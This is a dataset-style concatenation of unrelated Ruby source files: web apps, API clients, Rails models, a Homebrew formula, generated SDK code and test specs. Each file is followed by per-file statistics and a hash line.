= Recipe.new(id: recipe_data[0], name: recipe_data[1]) # else # recipe = self.create(name: name) # end # recipe # end # # def self.create (name:) # recipe = Recipe.new(name: name) # recipe.save # recipe # end # # def save # if self.id # self.update # else # sql = <<-SQL # INSERT INTO recipes (name) # VALUES (?) # SQL # DB[:conn].execute(sql, self.name) # @id = DB[:conn].execute("SELECT last_insert_rowid() FROM recipes")[0][0] # end # self # end # # recipe_name.each {|string| Recipe.find_or_create_by(name: string)}
22.84507
87
0.594945
08af05c8d71cccf2e34137010958c2d68d86eee9
1,796
require 'sinatra' require 'sinatra/reloader' # The secret number to guess. This will start as an invalid value number = -1 # Generate a secret number from 1 to 100 def secret_num rand(1..100) end def get_test_num(init_test) final_test = init_test.to_i if final_test <= 0 || final_test > 100 final_test = 50 end final_test end # Determine the message to send depending on whether the guess is higher, # lower, or the same as the secret number def determine_msg(number, guess) to_return = "" if guess == number to_return = "That's exactly right!" elsif guess > number to_return = "That's too high!" else to_return = "That's too low!" end if guess != number if (number - guess).abs > 10 to_return += " You're way off!" end if (number - guess).abs <= 5 to_return += " You're really close!" end end to_return end # If a GET request comes in at /, do the following. get '/' do # Get the parameter named guess and store it in pg pg = params['guess'] test = params['test'] # Setting these variables here so that they are accessible # outside the conditional guess = -1 got_it = false # If there was no guess parameter, this is a brand new game. # Generate a secret number and set the guess to nil. if pg.nil? && test.nil? number = secret_num guess = nil elsif pg.nil? && test number = get_test_num test guess = nil elsif pg && test.nil? guess = pg.to_i msg = determine_msg number, guess got_it = guess == number else number = get_test_num test guess = pg.to_i msg = determine_msg number, guess got_it = guess == number end erb :index, :locals => { number: number, guess: guess, got_it: got_it, msg: msg } end not_found do status 404 erb :error end
23.324675
83
0.664811
bb063a4e208c256dd71bb7420412f9c29c5d3383
526
require 'serverkit/resources/base' module Serverkit module Resources class VagrantPlugin < Base attribute :name, required: true, type: String # @note Override def apply run_command("vagrant plugin install #{name}") end # @note Override def check has_plugin? end private # @return [true, false] True if the vagrant plugin is installed def has_plugin? check_command("vagrant plugin list | grep #{name}") end end end end
19.481481
69
0.617871
e868f8a94125c9b9e91e512458442259a51870db
697
require "#{File.dirname(__FILE__)}/abstract_note" module Footnotes module Notes class EnvNote < AbstractNote def initialize(controller) @env = controller.request.env.dup end def content env_data = @env.to_a.sort.unshift([:key, :value]).map do |k,v| case k when 'HTTP_COOKIE' # Replace HTTP_COOKIE for a link [k, '<a href="#" style="color:#009" onclick="Footnotes.hideAllAndToggle(\'cookies_debug_info\');return false;">See cookies on its tab</a>'] else [k, escape(v.to_s)] end end # Create the env table mount_table(env_data) end end end end
25.814815
151
0.583931
089e79bdf736ca364e82034b7ccd7f557ceba355
1,804
module KucoinRuby module Market def self.tick(symbol = nil) endpoint = "/v1/open/tick" endpoint += "?symbol=#{symbol}" if symbol KucoinRuby::Net.get(endpoint) end def self.orders(symbol) KucoinRuby::Net.get("/v1/open/orders?symbol=#{symbol}") end def self.buy_orders(symbol, group, limit) endpoint = "/v1/open/orders-buy?symbol=#{symbol}&group=#{group}&limit=#{limit}" KucoinRuby::Net.get(endpoint) end def self.sell_orders(symbol, group, limit) endpoint = "/v1/open/orders-sell?symbol=#{symbol}&group=#{group}&limit=#{limit}" KucoinRuby::Net.get(endpoint) end def self.recent_deal_orders(symbol, limit, since) endpoint = "/v1/open/deal-orders?symbol=#{symbol}&synce=#{since}&limit=#{limit}" KucoinRuby::Net.get(endpoint) end def self.trading_symbols KucoinRuby::Net.get('/v1/market/open/symbols') end def self.trending_symbols KucoinRuby::Net.get('/v1/market/open/coins-trending') end def self.kline_data(symbol, type, from, to, limit) KucoinRuby::Net.get("/v1/open/kline?symbol=#{symbol}&type=#{type}&from=#{from}&to=#{to}&limit=#{limit}") end def self.kline_config() KucoinRuby::Net.get('/v1/open/chart/config') end def self.chart_symbol(symbol) KucoinRuby::Net.get("/v1/open/chart/symbol?symbol=#{symbol}") end def self.history_kline_data(symbol, resolution, from, to) endpoint = "/v1/open/chart/history?symbol=#{symbol}&resolution=#{resolution}&from=#{from}&to=#{to}" KucoinRuby::Net.get(endpoint) end def self.coin_info(coin) KucoinRuby::Net.get("/v1/market/open/coin-info?coin=#{coin}") end def self.coins KucoinRuby::Net.get("/v1/market/open/coins") end end end
29.096774
110
0.648004
1cd25738299d7d35025178804193dc9e6f52d35e
684
require 'test_helper' require 'bbq/core/util' class User module Commenter end end module Commenter end class UtilTest < Minitest::Test def test_find_module_in_object_namespace assert_commenter(User.new, User::Commenter) end def test_find_module_in_class_namespace assert_commenter(User, User::Commenter) end def test_find_module_in_string_namespace assert_commenter("User", User::Commenter) end def test_find_global_module assert_commenter(nil, ::Commenter) end def assert_commenter(namespace, result) [:commenter, "commenter"].each do |name| assert_equal Bbq::Core::Util.find_module(name, namespace), result end end end
18.486486
71
0.755848
e20531e522e3972d09d60afd35ce5f17d07cb54b
1,767
# frozen_string_literal: true # a person in Scoutplan. Most business logic, however # is handled in the UnitMembership class class User < ApplicationRecord include Flipper::Identifier include Contactable # Include default devise modules. Others available are: # :confirmable, :lockable, :timeoutable, :trackable and :omniauthable devise :database_authenticatable, :recoverable, :rememberable, :validatable has_many :unit_memberships, dependent: :destroy has_many :parent_relationships, foreign_key: 'child_unit_membership_id', class_name: 'MemberRelationship', dependent: :destroy has_many :child_relationships, foreign_key: 'parent_unit_membership_id', class_name: 'MemberRelationship', dependent: :destroy before_validation :check_email self.inheritance_column = nil enum type: { unknown: 0, youth: 1, adult: 2 } has_settings do |s| s.key :locale, defaults: { time_zone: 'Eastern Time (US & Canada)' } s.key :security, defaults: { enable_magic_links: true } end def contactable_object self end def full_name "#{first_name} #{last_name}" end def display_first_name nickname.blank? ? first_name : nickname end def full_display_name "#{display_first_name} #{last_name}" end def short_display_name "#{display_first_name} #{last_name&.first}." end def display_legal_and_nicknames res = [first_name] res << "(#{ nickname})" unless nickname.blank? res << last_name res.join(' ') end def check_email return if email.present? self.email = User.generate_anonymous_email end def self.generate_anonymous_email "anonymous-member-#{SecureRandom.hex(6)}@scoutplan.org" end end
25.242857
77
0.704018
6a9e3613b69575331a6660bfe6bde8d803780956
1,548
# frozen_string_literal: true # Copyright (c) 2008-2013 Michael Dvorkin and contributors. # # Fat Free CRM is freely distributable under the terms of MIT license. # See MIT-LICENSE file or http://www.opensource.org/licenses/mit-license.php #------------------------------------------------------------------------------ require File.expand_path("../../acceptance_helper.rb", __FILE__) feature "Users tab", ' In order to increase customer satisfaction As an administrator I want to manage users ' do before(:each) do do_login(first_name: "Captain", last_name: "Kirk", admin: true) end scenario "should create a new user", js: true do create(:group, name: "Superheroes") visit admin_users_path click_link "Create User" expect(page).to have_selector("#user_username", visible: true) fill_in "user_username", with: "captainthunder" fill_in "user_email", with: "[email protected]" fill_in "user_first_name", with: "Captain" fill_in "user_last_name", with: "Thunder" fill_in "user_password", with: "password" fill_in "user_password_confirmation", with: "password" fill_in "user_title", with: "Chief" fill_in "user_company", with: "Weather Inc." select "Superheroes", from: "user_group_ids" click_button "Create User" expect(find("#users")).to have_content("Captain Thunder") expect(find("#users")).to have_content("Weather Inc.") expect(find("#users")).to have_content("Superheroes") expect(find("#users")).to have_content("[email protected]") end end
37.756098
79
0.679587
f7a1231a4c6fea23226619d73360ffadab72275c
726
require 'spec_helper' describe SportsDataApi::Mlb::Team, vcr: { cassette_name: 'sports_data_api_mlb_team', record: :new_episodes, match_requests_on: [:host, :path] } do let(:teams) do SportsDataApi.set_key(:mlb, api_key(:mlb)) SportsDataApi.set_access_level(:mlb, 't') SportsDataApi::Mlb.teams end context 'results from teams fetch' do subject { teams.first } it { should be_an_instance_of(SportsDataApi::Mlb::Team) } its(:id) { should eq "ef64da7f-cfaf-4300-87b0-9313386b977c" } its(:alias) { should eq 'LA' } its(:league) { should eq 'NL' } its(:division) { should eq 'W' } its(:market) { should eq 'Los Angeles' } its(:name) { should eq 'Dodgers' } end end
29.04
65
0.661157
0351ed21b8f1e536b3123e344fded85366b60ee7
2,377
class Libphonenumber < Formula desc "C++ Phone Number library by Google" homepage "https://github.com/googlei18n/libphonenumber" url "https://github.com/googlei18n/libphonenumber/archive/v8.8.7.tar.gz" sha256 "68c45ab16e090b31c506d542aad7cab10264b9c92c342537d7b7262c960344fb" revision 1 bottle do cellar :any sha256 "71b61532c878c82af35f1c3310cbc63468deda414dd1a82465dc7341375a9464" => :high_sierra sha256 "5294526af3752de959f5b6267011ae7dfdb3b20811f86a50c7b10dc0796f2a4f" => :sierra sha256 "781b8e2985a198c9a411db2a232911a9a165835107936596d9a3d7a9a6eb545e" => :el_capitan end depends_on "cmake" => :build depends_on :java => "1.7+" depends_on "icu4c" depends_on "protobuf" depends_on "boost" depends_on "re2" resource "gtest" do url "https://github.com/google/googletest/archive/release-1.8.0.tar.gz" sha256 "58a6f4277ca2bc8565222b3bbd58a177609e9c488e8a72649359ba51450db7d8" end needs :cxx11 # Upstream PR from 2 Dec 2017 "Only use lib64 directory on Linux" # See https://github.com/googlei18n/libphonenumber/issues/2044 patch do url "https://github.com/googlei18n/libphonenumber/pull/2045.patch?full_index=1" sha256 "4d47d0f92c994ca74e3bbbf020064b2d249d0b01f93bf6f5d82736eb9ed3aa43" end def install ENV.cxx11 (buildpath/"gtest").install resource("gtest") system "cmake", "cpp", "-DGTEST_SOURCE_DIR=gtest/googletest", "-DGTEST_INCLUDE_DIR=gtest/googletest/include", *std_cmake_args system "make", "install" end test do (testpath/"test.cpp").write <<~EOS #include <phonenumbers/phonenumberutil.h> #include <phonenumbers/phonenumber.pb.h> #include <iostream> #include <string> using namespace i18n::phonenumbers; int main() { PhoneNumberUtil *phone_util_ = PhoneNumberUtil::GetInstance(); PhoneNumber test_number; string formatted_number; test_number.set_country_code(1); test_number.set_national_number(6502530000ULL); phone_util_->Format(test_number, PhoneNumberUtil::E164, &formatted_number); if (formatted_number == "+16502530000") { return 0; } else { return 1; } } EOS system ENV.cxx, "test.cpp", "-L#{lib}", "-lphonenumber", "-o", "test" system "./test" end end
33.013889
93
0.699201
7a909c15eb552e495c86b88f848ca926c6b8951a
1,029
require 'ingenico/direct/sdk/declined_transaction_exception' module Ingenico::Direct::SDK # Indicates that a refund is declined by the Ingenico ePayments platform or one of its downstream partners/acquirers. class DeclinedRefundException < DeclinedTransactionException # Create a new DeclinedRefundException # @see ApiException#initialize def initialize(status_code, response_body, errors) super(status_code, response_body, errors&.error_id, errors&.errors, build_message(errors)) @errors = errors end # The declined refund result as returned by the Ingenico ePayments platform. # @return [Ingenico::Direct::SDK::Domain::RefundResult, nil] def refund_result @errors&.refund_result end private def build_message(errors) refund = errors&.refund_result if refund "declined refund '#{refund.id}' with status '#{refund.status}'" else 'the Ingenico ePayments platform returned a declined refund response' end end end end
31.181818
119
0.724976
6156a7d2666a98368468cc90fdacdb8f593d630e
521
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE require_relative '../../aws-sdk-core/spec/shared_spec_helper' $:.unshift(File.expand_path('../../lib', __FILE__)) $:.unshift(File.expand_path('../../../aws-sdk-core/lib', __FILE__)) $:.unshift(File.expand_path('../../../aws-sigv4/lib', __FILE__)) require 'rspec' require 'webmock/rspec' require 'aws-sdk-sesv2'
30.647059
74
0.71977
61b82f864722f60a6ae5851e63958732ed39bc08
2,584
# Generated by the protocol buffer compiler. DO NOT EDIT! # Source: google/ads/googleads/v7/services/conversion_upload_service.proto for package 'Google.Ads.GoogleAds.V7.Services' # Original file comments: # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require 'grpc' require 'google/ads/googleads/v7/services/conversion_upload_service_pb' module Google module Ads module GoogleAds module V7 module Services module ConversionUploadService # Service to upload conversions. class Service include ::GRPC::GenericService self.marshal_class_method = :encode self.unmarshal_class_method = :decode self.service_name = 'google.ads.googleads.v7.services.ConversionUploadService' # Processes the given click conversions. # # List of thrown errors: # [AuthenticationError]() # [AuthorizationError]() # [ConversionUploadError]() # [HeaderError]() # [InternalError]() # [PartialFailureError]() # [QuotaError]() # [RequestError]() rpc :UploadClickConversions, ::Google::Ads::GoogleAds::V7::Services::UploadClickConversionsRequest, ::Google::Ads::GoogleAds::V7::Services::UploadClickConversionsResponse # Processes the given call conversions. # # List of thrown errors: # [AuthenticationError]() # [AuthorizationError]() # [HeaderError]() # [InternalError]() # [PartialFailureError]() # [QuotaError]() # [RequestError]() rpc :UploadCallConversions, ::Google::Ads::GoogleAds::V7::Services::UploadCallConversionsRequest, ::Google::Ads::GoogleAds::V7::Services::UploadCallConversionsResponse end Stub = Service.rpc_stub_class end end end end end end
37.449275
184
0.621904
62d6dc70d436c2874965e9d3554b5a477fd78c89
325
class CreateProperties < ActiveRecord::Migration[6.0] def change create_table :properties do |t| t.references :neighborhood, null: false, foreign_key: true t.references :user, null: false, foreign_key: true t.string :address t.float :lat t.float :lgn t.timestamps end end end
23.214286
64
0.664615
ab24852302850d96e0e178f83780037034cac2ec
1,736
# frozen_string_literal: true module API module Entities class IssueBasic < IssuableEntity format_with(:upcase) do |item| item.upcase if item.respond_to?(:upcase) end expose :closed_at expose :closed_by, using: Entities::UserBasic expose :labels do |issue, options| if options[:with_labels_details] ::API::Entities::LabelBasic.represent(issue.labels.sort_by(&:title)) else issue.labels.map(&:title).sort end end expose :milestone, using: Entities::Milestone expose :assignees, :author, using: Entities::UserBasic expose :issue_type, as: :type, format_with: :upcase, documentation: { type: "String", desc: "One of #{::WorkItem::Type.base_types.keys.map(&:upcase)}" } expose :assignee, using: ::API::Entities::UserBasic do |issue| issue.assignees.first end expose(:user_notes_count) { |issue, options| issuable_metadata.user_notes_count } expose(:merge_requests_count) { |issue, options| issuable_metadata.merge_requests_count } expose(:upvotes) { |issue, options| issuable_metadata.upvotes } expose(:downvotes) { |issue, options| issuable_metadata.downvotes } expose :due_date expose :confidential expose :discussion_locked expose :issue_type expose :web_url do |issue| Gitlab::UrlBuilder.build(issue) end expose :time_stats, using: 'API::Entities::IssuableTimeStats' do |issue| issue end expose :task_completion_status end end end API::Entities::IssueBasic.prepend_mod_with('API::Entities::IssueBasic', with_descendants: true)
31.563636
112
0.647465
f74ccd7092d701e31ee591687ae5263b66e6c46c
9,045
=begin #Datadog API V2 Collection #Collection of all Datadog Public endpoints. The version of the OpenAPI document: 1.0 Contact: [email protected] Generated by: https://openapi-generator.tech Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. This product includes software developed at Datadog (https://www.datadoghq.com/). Copyright 2020-Present Datadog, Inc. =end require 'date' require 'time' module DatadogAPIClient::V2 # Attributes of a full API key. class FullAPIKeyAttributes # whether the object has unparsed attributes attr_accessor :_unparsed # Creation date of the API key. attr_accessor :created_at # The API key. attr_accessor :key # The last four characters of the API key. attr_accessor :last4 # Date the API key was last modified. attr_accessor :modified_at # Name of the API key. attr_accessor :name # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'created_at' => :'created_at', :'key' => :'key', :'last4' => :'last4', :'modified_at' => :'modified_at', :'name' => :'name' } end # Returns all the JSON keys this model knows about def self.acceptable_attributes attribute_map.values end # Attribute type mapping. def self.openapi_types { :'created_at' => :'String', :'key' => :'String', :'last4' => :'String', :'modified_at' => :'String', :'name' => :'String' } end # List of attributes with nullable: true def self.openapi_nullable Set.new([ ]) end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) if (!attributes.is_a?(Hash)) fail ArgumentError, "The input argument (attributes) must be a hash in `DatadogAPIClient::V2::FullAPIKeyAttributes` initialize method" end # check to see if the attribute exists and convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| if (!self.class.attribute_map.key?(k.to_sym)) fail ArgumentError, "`#{k}` is not a valid attribute in `DatadogAPIClient::V2::FullAPIKeyAttributes`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect end h[k.to_sym] = v } if attributes.key?(:'created_at') self.created_at = attributes[:'created_at'] end if attributes.key?(:'key') self.key = attributes[:'key'] end if attributes.key?(:'last4') self.last4 = attributes[:'last4'] end if attributes.key?(:'modified_at') self.modified_at = attributes[:'modified_at'] end if attributes.key?(:'name') self.name = attributes[:'name'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new if [email protected]? && @last4.to_s.length > 4 invalid_properties.push('invalid value for "last4", the character length must be smaller than or equal to 4.') end if [email protected]? && @last4.to_s.length < 4 invalid_properties.push('invalid value for "last4", the character length must be great than or equal to 4.') end invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if [email protected]? && @last4.to_s.length > 4 return false if [email protected]? && @last4.to_s.length < 4 true end # Custom attribute writer method with validation # @param [Object] last4 Value to be assigned def last4=(last4) if !last4.nil? && last4.to_s.length > 4 fail ArgumentError, 'invalid value for "last4", the character length must be smaller than or equal to 4.' end if !last4.nil? && last4.to_s.length < 4 fail ArgumentError, 'invalid value for "last4", the character length must be great than or equal to 4.' end @last4 = last4 end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && created_at == o.created_at && key == o.key && last4 == o.last4 && modified_at == o.modified_at && name == o.name end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Integer] Hash code def hash [created_at, key, last4, modified_at, name].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def self.build_from_hash(attributes) new.build_from_hash(attributes) end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.openapi_types.each_pair do |key, type| if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key) self.send("#{key}=", nil) elsif type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :Time Time.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :Boolean if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when :Array # generic array, return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model # models (e.g. Pet) or oneOf klass = DatadogAPIClient::V2.const_get(type) res = klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value) if res.instance_of? DatadogAPIClient::V2::UnparsedObject self._unparsed = true end res end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) if value.nil? is_nullable = self.class.openapi_nullable.include?(attr) next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}")) end hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
30.352349
220
0.621117
b925f566a1f1b910b56a5f2cd03b092356fe0501
8,099
# TL;DR: YOU SHOULD DELETE THIS FILE # # This file was generated by Cucumber-Rails and is only here to get you a head start # These step definitions are thin wrappers around the Capybara/Webrat API that lets you # visit pages, interact with widgets and make assertions about page content. # # If you use these step definitions as basis for your features you will quickly end up # with features that are: # # * Hard to maintain # * Verbose to read # # A much better approach is to write your own higher level step definitions, following # the advice in the following blog posts: # # * http://benmabey.com/2008/05/19/imperative-vs-declarative-scenarios-in-user-stories.html # * http://dannorth.net/2011/01/31/whose-domain-is-it-anyway/ # * http://elabs.se/blog/15-you-re-cuking-it-wrong # require 'uri' require 'cgi' require File.expand_path(File.join(File.dirname(__FILE__), "..", "support", "paths")) require File.expand_path(File.join(File.dirname(__FILE__), "..", "support", "selectors")) module WithinHelpers def with_scope(locator) locator ? within(*selector_for(locator)) { yield } : yield end end World(WithinHelpers) Given /^the blog is set up$/ do Blog.default.update_attributes!({:blog_name => 'Teh Blag', :base_url => 'http://localhost:3000'}); Blog.default.save! User.create!({:login => 'admin', :password => 'aaaaaaaa', :email => '[email protected]', :profile_id => 1, :name => 'admin', :state => 'active'}) end And /^I am logged into the admin panel$/ do visit '/accounts/login' fill_in 'user_login', :with => 'admin' fill_in 'user_password', :with => 'aaaaaaaa' click_button 'Login' if page.respond_to? :should page.should have_content('Login successful') else assert page.has_content?('Login successful') end end Given /^A sample category is setup$/ do Category.create!({name: "sample-cat", keywords: "sample-keyword", permalink: "some perma", description: "Sample Desc"}) end # Single-line step scoper When /^(.*) within (.*[^:])$/ do |step, parent| with_scope(parent) { When step } end # Multi-line step scoper When /^(.*) within (.*[^:]):$/ do |step, parent, table_or_string| with_scope(parent) { When "#{step}:", table_or_string } end Given /^(?:|I )am on (.+)$/ do |page_name| visit path_to(page_name) end When /^(?:|I )go to (.+)$/ do |page_name| visit path_to(page_name) end When /^(?:|I )press "([^"]*)"$/ do |button| click_button(button) end When /^(?:|I )follow "([^"]*)"$/ do |link| click_link(link) end When /^(?:|I )fill in "([^"]*)" with "([^"]*)"$/ do |field, value| fill_in(field, :with => value) end When /^(?:|I )fill in "([^"]*)" for "([^"]*)"$/ do |value, field| fill_in(field, :with => value) end # Use this to fill in an entire form with data from a table. Example: # # When I fill in the following: # | Account Number | 5002 | # | Expiry date | 2009-11-01 | # | Note | Nice guy | # | Wants Email? | | # # TODO: Add support for checkbox, select or option # based on naming conventions. # When /^(?:|I )fill in the following:$/ do |fields| fields.rows_hash.each do |name, value| When %{I fill in "#{name}" with "#{value}"} end end When /^(?:|I )select "([^"]*)" from "([^"]*)"$/ do |value, field| select(value, :from => field) end When /^(?:|I )check "([^"]*)"$/ do |field| check(field) end When /^(?:|I )uncheck "([^"]*)"$/ do |field| uncheck(field) end When /^(?:|I )choose "([^"]*)"$/ do |field| choose(field) end When /^(?:|I )attach the file "([^"]*)" to "([^"]*)"$/ do |path, field| attach_file(field, File.expand_path(path)) end Then /^(?:|I )should see "([^"]*)"$/ do |text| if page.respond_to? :should page.should have_content(text) else assert page.has_content?(text) end end Then /^(?:|I )should see \/([^\/]*)\/$/ do |regexp| regexp = Regexp.new(regexp) if page.respond_to? :should page.should have_xpath('//*', :text => regexp) else assert page.has_xpath?('//*', :text => regexp) end end Then /^(?:|I )should not see "([^"]*)"$/ do |text| if page.respond_to? :should page.should have_no_content(text) else assert page.has_no_content?(text) end end Then /^(?:|I )should not see \/([^\/]*)\/$/ do |regexp| regexp = Regexp.new(regexp) if page.respond_to? :should page.should have_no_xpath('//*', :text => regexp) else assert page.has_no_xpath?('//*', :text => regexp) end end Then /^the "([^"]*)" field(?: within (.*))? should contain "([^"]*)"$/ do |field, parent, value| with_scope(parent) do field = find_field(field) field_value = (field.tag_name == 'textarea') ? field.text : field.value if field_value.respond_to? :should field_value.should =~ /#{value}/ else assert_match(/#{value}/, field_value) end end end Then /^the "([^"]*)" field(?: within (.*))? should not contain "([^"]*)"$/ do |field, parent, value| with_scope(parent) do field = find_field(field) field_value = (field.tag_name == 'textarea') ? field.text : field.value if field_value.respond_to? :should_not field_value.should_not =~ /#{value}/ else assert_no_match(/#{value}/, field_value) end end end Then /^the "([^"]*)" field should have the error "([^"]*)"$/ do |field, error_message| element = find_field(field) classes = element.find(:xpath, '..')[:class].split(' ') form_for_input = element.find(:xpath, 'ancestor::form[1]') using_formtastic = form_for_input[:class].include?('formtastic') error_class = using_formtastic ? 'error' : 'field_with_errors' if classes.respond_to? :should classes.should include(error_class) else assert classes.include?(error_class) end if page.respond_to?(:should) if using_formtastic error_paragraph = element.find(:xpath, '../*[@class="inline-errors"][1]') error_paragraph.should have_content(error_message) else page.should have_content("#{field.titlecase} #{error_message}") end else if using_formtastic error_paragraph = element.find(:xpath, '../*[@class="inline-errors"][1]') assert error_paragraph.has_content?(error_message) else assert page.has_content?("#{field.titlecase} #{error_message}") end end end Then /^the "([^"]*)" field should have no error$/ do |field| element = find_field(field) classes = element.find(:xpath, '..')[:class].split(' ') if classes.respond_to? :should classes.should_not include('field_with_errors') classes.should_not include('error') else assert !classes.include?('field_with_errors') assert !classes.include?('error') end end Then /^the "([^"]*)" checkbox(?: within (.*))? should be checked$/ do |label, parent| with_scope(parent) do field_checked = find_field(label)['checked'] if field_checked.respond_to? :should field_checked.should be_true else assert field_checked end end end Then /^the "([^"]*)" checkbox(?: within (.*))? should not be checked$/ do |label, parent| with_scope(parent) do field_checked = find_field(label)['checked'] if field_checked.respond_to? :should field_checked.should be_false else assert !field_checked end end end Then /^(?:|I )should be on (.+)$/ do |page_name| current_path = URI.parse(current_url).path if current_path.respond_to? :should current_path.should == path_to(page_name) else assert_equal path_to(page_name), current_path end end Then /^(?:|I )should have the following query string:$/ do |expected_pairs| query = URI.parse(current_url).query actual_params = query ? CGI.parse(query) : {} expected_params = {} expected_pairs.rows_hash.each_pair{|k,v| expected_params[k] = v.split(',')} if actual_params.respond_to? :should actual_params.should == expected_params else assert_equal expected_params, actual_params end end Then /^show me the page$/ do save_and_open_page end
28.318182
100
0.635881
217dc0289df6cc7397efc68d92a0c4fdb52f3564
591
#--- # Excerpted from "Agile Web Development with Rails", # published by The Pragmatic Bookshelf. # Copyrights apply to this code. It may not be used to create training material, # courses, books, articles, and the like. Contact us if you are in doubt. # We make no guarantees that this code is fit for any purpose. # Visit http://www.pragmaticprogrammer.com/titles/rails4 for more book information. #--- Order.transaction do (1..100).each do |i| Order.create(name: "Customer #{i}", address: "#{i} Main Street", email: "customer-#{i}@example.com", pay_type: "Check") end end
39.4
83
0.71066
1db362c023dd3ee1ecaf3d533de6afee1c2c4d26
5,191
require 'spec_helper' provider_class = Puppet::Type.type(:rabbitmq_user).provider(:rabbitmqctl) describe provider_class do let(:resource) do Puppet::Type.type(:rabbitmq_user).new( ensure: :present, name: 'rmq_x', password: 'secret', provider: described_class.name ) end let(:provider) { provider_class.new(resource) } let(:instance) { provider.class.instances.first } before do provider.class.stubs(:rabbitmqctl_list).with('users').returns( "rmq_x [disk, storage]\nrmq_y [network, cpu, administrator]\nrmq_z []\n" ) end describe '#self.instances' do it { expect(provider.class.instances.size).to eq(3) } it 'returns an array of users' do users = provider.class.instances.map(&:name) expect(users).to match_array(%w[rmq_x rmq_y rmq_z]) end it 'returns the expected tags' do tags = provider.class.instances.first.get(:tags) expect(tags).to match_array(%w[disk storage]) end end describe '#exists?' do it { expect(instance.exists?).to be true } end describe '#create' do it 'adds a user' do provider.expects(:rabbitmqctl).with('add_user', 'rmq_x', 'secret') provider.create end context 'no password supplied' do let(:resource) do Puppet::Type.type(:rabbitmq_user).new( ensure: :present, name: 'rmq_x' ) end it 'raises an error' do expect do provider.create end.to raise_error(Puppet::Error, 'Password is a required parameter for rabbitmq_user (user: rmq_x)') end end end describe '#destroy' do it 'removes a user' do provider.expects(:rabbitmqctl).with('delete_user', 'rmq_x') provider.destroy end end describe '#check_password' do context 'correct password' do before do provider.class.stubs(:rabbitmqctl).with( 'eval', 'rabbit_access_control:check_user_pass_login(list_to_binary("rmq_x"), list_to_binary("secret")).' ).returns <<-EOT {ok,{user,<<"rmq_x">>,[],rabbit_auth_backend_internal, {internal_user,<<"rmq_x">>, <<193,81,62,182,129,135,196,89,148,87,227,48,86,2,154, 192,52,119,214,177>>, []}}} EOT end it do provider.check_password('secret') end end context 'incorrect password' do before do provider.class.stubs(:rabbitmqctl).with( 'eval', 'rabbit_access_control:check_user_pass_login(list_to_binary("rmq_x"), list_to_binary("nottherightone")).' ).returns <<-EOT {refused,"user '~s' - invalid credentials",[<<"rmq_x">>]} ...done. EOT end it do provider.check_password('nottherightone') end end end describe '#tags=' do it 'clears all tags on existing user' do provider.set(tags: %w[tag1 tag2 tag3]) provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', []) provider.tags = [] provider.flush end it 'sets multiple tags' do provider.set(tags: []) provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', %w[tag1 tag2]) provider.tags = %w[tag1 tag2] provider.flush end it 'clears tags while keeping admin tag' do provider.set(tags: %w[administrator tag1 tag2]) resource[:admin] = true provider.expects(:rabbitmqctl).with('set_user_tags', 'rmq_x', ['administrator']) provider.tags = [] provider.flush end it 'changes tags while keeping admin tag' do provider.set(tags: %w[administrator tag1 tag2]) resource[:admin] = true provider.expects(:rabbitmqctl).with('set_user_tags', 